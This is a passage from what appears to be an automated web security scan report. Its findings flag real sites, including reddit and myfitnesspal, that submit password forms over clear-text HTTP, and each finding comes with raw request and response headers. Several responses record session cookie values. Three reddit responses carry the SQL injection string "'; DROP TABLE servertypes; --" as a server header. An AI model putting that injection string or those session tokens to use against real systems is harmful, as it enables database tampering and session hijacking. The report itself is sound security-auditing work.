Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 41653

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <meta http-equiv="Content-
...[SNIP]...
<div class="box mpanel">
                       <form action="/login.php?return=/" method="post">
           <ol>
...[SNIP]...
</label>
                   <input type="password" name="password" id="password" />
               </li>
...[SNIP]...

7.43. http://www.kledy.it/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.kledy.it
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.kledy.it/login.php?return=//

The form contains the following password field:

password

Request

GET / HTTP/1.1
Host: www.kledy.it
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:07:44 GMT
Server: Apache/2.2.10 (Linux/SUSE)
X-Powered-By: PHP/5.2.11
Set-Cookie: PHPSESSID=rhma1ljcetm1ujatbaru3ekq31d2sk9j; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 79460

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html dir="ltr" xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

...[SNIP]...
</h2>
<form action="/login.php?return=//" id="thisform" method="post">
<form action="/login.php?return=//" method="post">
...[SNIP]...
<br />
<input type="password" name="password" class="login" tabindex="11" /><br />
...[SNIP]...

7.44. http://www.kledy.us/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.kledy.us
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.kledy.us/login.php?return=//

The form contains the following password field:

password

Request

GET / HTTP/1.1
Host: www.kledy.us
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:07:46 GMT
Server: Apache/2.2.10 (Linux/SUSE)
X-Powered-By: PHP/5.2.11
Set-Cookie: PHPSESSID=dtgm4tef6nlfhjp24ikn7uenegac3geg; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 79180

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html dir="ltr" xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

...[SNIP]...
</h2>
<form action="/login.php?return=//" id="thisform" method="post">
<form action="/login.php?return=//" method="post">
...[SNIP]...
<br />
<input type="password" name="password" class="login" tabindex="11" /><br />
...[SNIP]...

7.45. http://www.klivio.com/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.klivio.com
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.klivio.com/login.php?return=//

The form contains the following password field:

password

Request

GET / HTTP/1.1
Host: www.klivio.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

7.46. http://www.klivio.de/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.klivio.de
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.klivio.de/login.php?return=/

The form contains the following password field:

password

Request

GET / HTTP/1.1
Host: www.klivio.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:07:48 GMT
Server: Apache/2.2.10 (Linux/SUSE)
X-Powered-By: PHP/5.2.11
Set-Cookie: PHPSESSID=dqvaudp4e1pn2ugqdulsc647iuk97c0d; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 42727

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <meta http-equiv="Conten
...[SNIP]...
<div class="box mpanel">
                       <form action="/login.php?return=/" method="post">
           <ol>
...[SNIP]...
</label>
                   <input type="password" name="password" id="password" />
               </li>
...[SNIP]...

7.47. http://www.linkagogo.com/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.linkagogo.com
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.linkagogo.com/go/Authenticate

The form contains the following password field:

code

Request

GET / HTTP/1.1
Host: www.linkagogo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:01:32 GMT
Server: Apache/2.2.8 (Unix) mod_ssl/2.2.8 OpenSSL/0.9.8b Resin/3.1.4
Last-Modified: Thu, 27 Jan 2011 16:40:09 GMT
ETag: "7151cc-5bca-49ad69a490c40"
Accept-Ranges: bytes
Content-Length: 23498
Connection: close
Content-Type: text/html

<HTML>
<LINK REL="alternate" TITLE="Bookmarking in the News" HREF="go/Members/demo/Bookmark+News?type=rss20&title=Bookmark%20News&column=created&order=desc&max=10" TYPE="application/rss+xml"/>
<LINK
...[SNIP]...
<table border=0 cellpadding=0 cellspacing=0 width=100%>
<form method="POST" name="LoginForm" action="/go/Authenticate">
<tr>
...[SNIP]...
<td><input type="password" name="code" size="16" maxlength="8"></td>
...[SNIP]...

7.48. http://www.linkatopia.com/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.linkatopia.com
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.linkatopia.com/login

The form contains the following password field:

Request

GET / HTTP/1.1
Host: www.linkatopia.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:39:02 GMT
Server: Apache
X-Powered-By: PHP/5.2.12
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=b0m32fe8ia2aj602f1o1q5f1r7; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Connection: close
Content-Type: text/html
Content-Length: 15274

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<title>Linka
...[SNIP]...

<form id="form1" method="post" action="login" onsubmit="xsend(this)">
<input name="a1" id="ab1" type="text" size="12"
class="boxBlur" onfocus="this.className='boxFocus'" onblur="this.className='boxBlur'"
value="" /> <input name="a2" id="ab2" type="password" size="12"
class="boxBlur" onfocus="this.className='boxFocus'" onblur="this.className='boxBlur'" />
<button type="submit" class="clearBtn">
...[SNIP]...

7.49. http://www.migrationexpertzone.com/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.migrationexpertzone.com
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.migrationexpertzone.com/Login/AttemptLogin/

The form contains the following password field:

Password

Request

GET / HTTP/1.1
Host: www.migrationexpertzone.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

7.50. http://www.myfitnesspal.com/nutrition-facts-calories/bjs previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.myfitnesspal.com
Path:	/nutrition-facts-calories/bjs

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.myfitnesspal.com/account/login

The form contains the following password field:

password

Request

GET /nutrition-facts-calories/bjs HTTP/1.1
Host: www.myfitnesspal.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.6.35
Date: Sat, 05 Feb 2011 22:07:05 GMT
Content-Type: text/html; charset=utf-8
Connection: close
X-Powered-By: Phusion Passenger (mod_rails/mod_rack) 3.0.2
ETag: "860a3bdc2d1bbb3fc2424fadf246b599"
X-Runtime: 109
Pragma: no-cache
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Set-Cookie: tracker=kw%3D%3E%7Csource_domain%3D%3E%7Ccp%3D%3E%7Clp_category%3D%3E%7Csearch_engine%3D%3E%7Clanding_page%3D%3E%2Fnutrition-facts-calories%2Fbjs%7Ccr%3D%3E%7Cclicked_at%3D%3E2011-02-05+14%3A07%3A05+-0800%7Clp_subcategory%3D%3E%7Cuser_id%3D%3E%7Cmt%3D%3E%7Cs1%3D%3E%7Cs2%3D%3E%7Csource%3D%3E%7Ckeywords%3D%3E; path=/; expires=Sun, 05-Feb-2012 22:07:05 GMT
Set-Cookie: _myfitnesspal_session=BAh7BzoQZXhwaXJ5X3RpbWVVOiBBY3RpdmVTdXBwb3J0OjpUaW1lV2l0aFpvbmVbCEl1OglUaW1lDcDEG8D5O1ccBjofQG1hcnNoYWxfd2l0aF91dGNfY29lcmNpb25UIh9QYWNpZmljIFRpbWUgKFVTICYgQ2FuYWRhKUl1OwcNsMQbwPk7VxwGOwhUOg9zZXNzaW9uX2lkIiUxZGYxZGZiMzJkMGE2YWI1MWE1MmY1NzA3NWUyZDNhZQ%3D%3D--8ac4e1247c0d18d6e1dd8642eb446e0bc1bd2c46; path=/; HttpOnly
Content-Length: 23989
Status: 200

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<m
...[SNIP]...


<form id="fancy_login" class="form" method="post" action="/account/login" style="display:none;">

   <h3>
...[SNIP]...
</label>
           <input name="password" type="password" class="text" tabIndex="6" />

       </li>
...[SNIP]...

7.51. http://www.mylinkvault.com/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.mylinkvault.com
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.mylinkvault.com/users/register.php

The form contains the following password fields:

password
password_chk

Request

GET / HTTP/1.1
Host: www.mylinkvault.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:48 GMT
Server: Apache
X-Powered-By: PHP/5.2.15
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Language: en
Set-Cookie: PHPSESSID=os9t2670j382p7k3kipnt47et6; path=/; domain=.mylinkvault.com
Vary: Accept-Encoding
Content-Length: 12638
Connection: close
Content-Type: text/html; charset=utf-8

<!DOCTYPE php PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<tit
...[SNIP]...
</h2>
<form action="/users/register.php" method="post">
<fieldset>
...[SNIP]...
</label><input type="password" name="password" id="pass1" class="text"/></div>
...[SNIP]...
</label><input type="password" name="password_chk" id="pass2" class="text"/></div>
...[SNIP]...

7.52. http://www.nmworkwear.de/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.nmworkwear.de
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.nmworkwear.de/login.php?action=process&XTCsid=ekde4uf6o3m1pae1sfc1dc4f16

The form contains the following password field:

password

Request

GET / HTTP/1.1
Host: www.nmworkwear.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:09:18 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.17
Set-Cookie: XTCsid=ekde4uf6o3m1pae1sfc1dc4f16; path=/; domain=.nmworkwear.de
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 38134

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="de">
<head>
<ti
...[SNIP]...
<div class="boxbody"> <form id="loginbox" method="post" action="http://www.nmworkwear.de/login.php?action=process&XTCsid=ekde4uf6o3m1pae1sfc1dc4f16">
<table width="100%" border="0" cellpadding="0" cellspacing="0">
...[SNIP]...
<td><input type="password" name="password" maxlength="30" style="width:80px;" /></td>
...[SNIP]...

7.53. http://www.nmworkwear.de/index.php previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.nmworkwear.de
Path:	/index.php

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.nmworkwear.de/login.php?action=process&XTCsid=3ugqie5obq0npitc2bvsin2tr7

The form contains the following password field:

password

Request

GET /index.php HTTP/1.1
Host: www.nmworkwear.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:33:54 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.17
Set-Cookie: XTCsid=3ugqie5obq0npitc2bvsin2tr7; path=/; domain=.nmworkwear.de
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 38158

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="de">
<head>
<ti
...[SNIP]...
<div class="boxbody"> <form id="loginbox" method="post" action="http://www.nmworkwear.de/login.php?action=process&XTCsid=3ugqie5obq0npitc2bvsin2tr7">
<table width="100%" border="0" cellpadding="0" cellspacing="0">
...[SNIP]...
<td><input type="password" name="password" maxlength="30" style="width:80px;" /></td>
...[SNIP]...

7.54. http://www.nowpublic.com/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.nowpublic.com
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://my.nowpublic.com/user/login

The form contains the following password field:

pass

Request

GET / HTTP/1.1
Host: www.nowpublic.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:54 GMT
Server: PWS/1.7.1.2
X-Px: ms iad-agg-n36 ( iad-agg-n34), ht iad-agg-n34.panthercdn.com
ETag: "ded758d99458fa48f10bde897667d88d"
Cache-Control: max-age=360
Expires: Sat, 05 Feb 2011 23:07:58 GMT
Age: 56
Content-Length: 86152
Content-Type: text/html; charset=utf-8
Last-Modified: Sat, 05 Feb 2011 22:50:27 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

...[SNIP]...
<div class="wrapper-body">
<form method="post" action="http://my.nowpublic.com/user/login">
<div id="login-name-wrapper" class="form-item">
...[SNIP]...
</label>
<input type="password" name="pass" id="login-pass" maxlength="128" size="30" class="form-text" />
</div>
...[SNIP]...

7.55. http://www.ortho.hyperguides.com/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ortho.hyperguides.com
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.ortho.hyperguides.com/index.php?option=com_comprofiler&task=login

The form contains the following password field:

passwd

Request

GET / HTTP/1.1
Host: www.ortho.hyperguides.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 05 Feb 2011 22:07:19 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: Developers B.S.A.T
Etag: ""
X-Powered-By: ASP.NET
X-Powered-By: PHP/5.2.10
Set-Cookie: af696fa0a123e22c58825b15193298d6=h3g6udk5uu72jmpmg705t2a1r2; path=/
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Set-Cookie: ohg=1; expires=Sun, 06-Feb-2011 22:07:19 GMT
Content-Type: text/html; charset=utf-8
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Last-Modified: Sat, 05 Feb 2011 22:07:19 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 43934

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
<he
...[SNIP]...
<div class="moduletable">
<form action="http://www.ortho.hyperguides.com/index.php?option=com_comprofiler&task=login" method="post" id="mod_loginform" style="margin:0px;">
<table width="100%" border="0" cellspacing="0" cellpadding="0" class="mod_login">
...[SNIP]...
<span><input title="Password" type="password" name="passwd" id="mod_login_password" class="inputbox" size="16" style="background-image:url(http://www.ortho.hyperguides.com/modules/mod_cblogin/mod_cblogin/password.png); background-repeat: no-repeat; background-position: 0px 0px; padding-left: 30px; min-height: 18px;width:120px;" title="Password" /></span>
...[SNIP]...

7.56. http://www.ota.org/members_only/login_menu.cfm previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ota.org
Path:	/members_only/login_menu.cfm

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.ota.org/members_only/login_menu.cfm

The form contains the following password field:

customer

Request

GET /members_only/login_menu.cfm HTTP/1.1
Host: www.ota.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 05 Feb 2011 22:08:48 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Type: text/html; charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html><!-- InstanceBegin template="/Templates/index.dwt" codeOutsideHTMLIsLocke
...[SNIP]...
<td>

<form name="loginform" id="loginform" action="login_menu.cfm" method="POST" onsubmit="return _CF_checkloginform(this)">

<span class="heading">
...[SNIP]...
<td><input name="customer" id="customer" type="password" maxlength="8" size="23" /></td>
...[SNIP]...

7.57. http://www.pdfforge.org/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.pdfforge.org
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.pdfforge.org/home?destination=node%2F13

The form contains the following password field:

pass

Request

GET / HTTP/1.1
Host: www.pdfforge.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:09:17 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.7
Set-Cookie: SESSc75490b6e05df4b955c54eec3097373b=o8ot6jt3lo29pi8jckb7f0fjc2; expires=Tue, 01-Mar-2011 01:42:37 GMT; path=/; domain=.pdfforge.org
Last-Modified: Sat, 05 Feb 2011 22:05:03 GMT
ETag: "ff0ffe33d43c31cea41ae173d1fb80bd"
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: must-revalidate
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 10866

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<me
...[SNIP]...
<div class="content">
<form action="http://www.pdfforge.org/home?destination=node%2F13" accept-charset="UTF-8" method="post" id="user-login-form">
<div>
...[SNIP]...
</label>
<input type="password" name="pass" id="edit-pass" maxlength="60" size="15" class="form-text required" />
</div>
...[SNIP]...

7.58. http://www.peppernews.eu/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.peppernews.eu
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.peppernews.eu/login.php?return=/

The form contains the following password field:

password

Request

GET / HTTP/1.1
Host: www.peppernews.eu
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:10:56 GMT
Server: Apache/2.2.10 (Linux/SUSE)
X-Powered-By: PHP/5.2.11
Set-Cookie: PHPSESSID=karceondeao8d2ilt1nprqs6k45brt7e; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 75079

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<div id="qlogin">
                                                           <form action="/login.php?return=/" method="post">
                   <label for="username">
...[SNIP]...
</label>
                   <input type="password" name="password" id="password" tabindex="3" />
                   <input type="hidden" name="processlogin" value="1" />
...[SNIP]...

7.59. http://www.reddit.com/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.reddit.com
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.reddit.com/post/reg

The form contains the following password fields:

passwd
passwd2

Request

GET / HTTP/1.1
Host: www.reddit.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Set-Cookie: reddit_first=%7B%22organic_pos%22%3A%201%2C%20%22firsttime%22%3A%20%22first%22%7D; Domain=reddit.com; expires=Thu, 31 Dec 2037 23:59:59 GMT; Path=/
Server: '; DROP TABLE servertypes; --
Date: Sun, 06 Feb 2011 16:11:03 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 104688

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en" ><head><titl
...[SNIP]...
</p><form id="login_reg" method="post" action="http://www.reddit.com/post/reg" onsubmit="return post_user(this, 'register');" target="_top"><input type="hidden" name="reason" value="" />
...[SNIP]...
</label><input id="passwd_reg" name="passwd" type="password" maxlength="20"/><span class="error BAD_PASSWORD field-passwd" style="display:none">
...[SNIP]...
</label><input name="passwd2" id="passwd2_reg" type="password" maxlength="20" /><span class="error BAD_PASSWORD_MATCH field-passwd2" style="display:none">
...[SNIP]...

7.60. http://www.reddit.com/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.reddit.com
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.reddit.com/post/login

The form contains the following password field:

passwd

Request

GET / HTTP/1.1
Host: www.reddit.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Set-Cookie: reddit_first=%7B%22organic_pos%22%3A%201%2C%20%22firsttime%22%3A%20%22first%22%7D; Domain=reddit.com; expires=Thu, 31 Dec 2037 23:59:59 GMT; Path=/
Server: '; DROP TABLE servertypes; --
Date: Sun, 06 Feb 2011 16:11:03 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 104688

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en" ><head><titl
...[SNIP]...
<div class='spacer'><form method="post" id="login_login-main" action="http://www.reddit.com/post/login" onsubmit="return post_user(this, 'login');" class="login-form-side"><input type="hidden" name="op" value="login-main" /><input name="user" type="text" maxlength="20" tabindex="1"/><input name="passwd" type="password" maxlength="20" tabindex="2"/><div class="error WRONG_PASSWORD field-passwd" style="display:none">
...[SNIP]...

7.61. http://www.reddit.com/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.reddit.com
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.reddit.com/post/login

The form contains the following password field:

passwd

Request

GET / HTTP/1.1
Host: www.reddit.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Set-Cookie: reddit_first=%7B%22organic_pos%22%3A%201%2C%20%22firsttime%22%3A%20%22first%22%7D; Domain=reddit.com; expires=Thu, 31 Dec 2037 23:59:59 GMT; Path=/
Server: '; DROP TABLE servertypes; --
Date: Sun, 06 Feb 2011 16:11:03 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 104688

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en" ><head><titl
...[SNIP]...
</p><form id="login_login" method="post" action="http://www.reddit.com/post/login" onsubmit="return post_user(this, 'login');" target="_top"><input type="hidden" name="reason" value="" />
...[SNIP]...
</label><input id="passwd_login" name="passwd" type="password" maxlength="20"/><span class="error WRONG_PASSWORD field-passwd" style="display:none">
...[SNIP]...

7.62. http://www.shoppinga.de/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.shoppinga.de
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.shoppinga.de/login.php?return=//

The form contains the following password field:

password

Request

GET / HTTP/1.1
Host: www.shoppinga.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:12:32 GMT
Server: Apache/2.2.10 (Linux/SUSE)
X-Powered-By: PHP/5.2.11
Set-Cookie: PHPSESSID=424gp35pn7vk2ctdh6coo9832mv1h5ug; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 61922

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">

<html dir="ltr" lang="de">
   <head>
<meta name="msvalidate.01" content="C0594E2AB82AE90F82DE0425FCA782B9" />

...[SNIP]...
</h2>
<form action="/login.php?return=//" id="thisform" method="post">
<p style="margin:0px;padding:0px">
...[SNIP]...
<br>
       <input type="password" name="password" class="login" tabindex="11"><br>
...[SNIP]...

7.63. http://www.sitejot.com/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.sitejot.com
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.sitejot.com/login.php

The form contains the following password field:

l_pass

Request

GET / HTTP/1.1
Host: www.sitejot.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:13:55 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_bwlimited/1.4 PHP/5.2.9
X-Powered-By: PHP/5.2.9
Set-Cookie: whereFrom=deleted; expires=Sat, 06-Feb-2010 16:13:54 GMT
Content-Length: 5570
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>
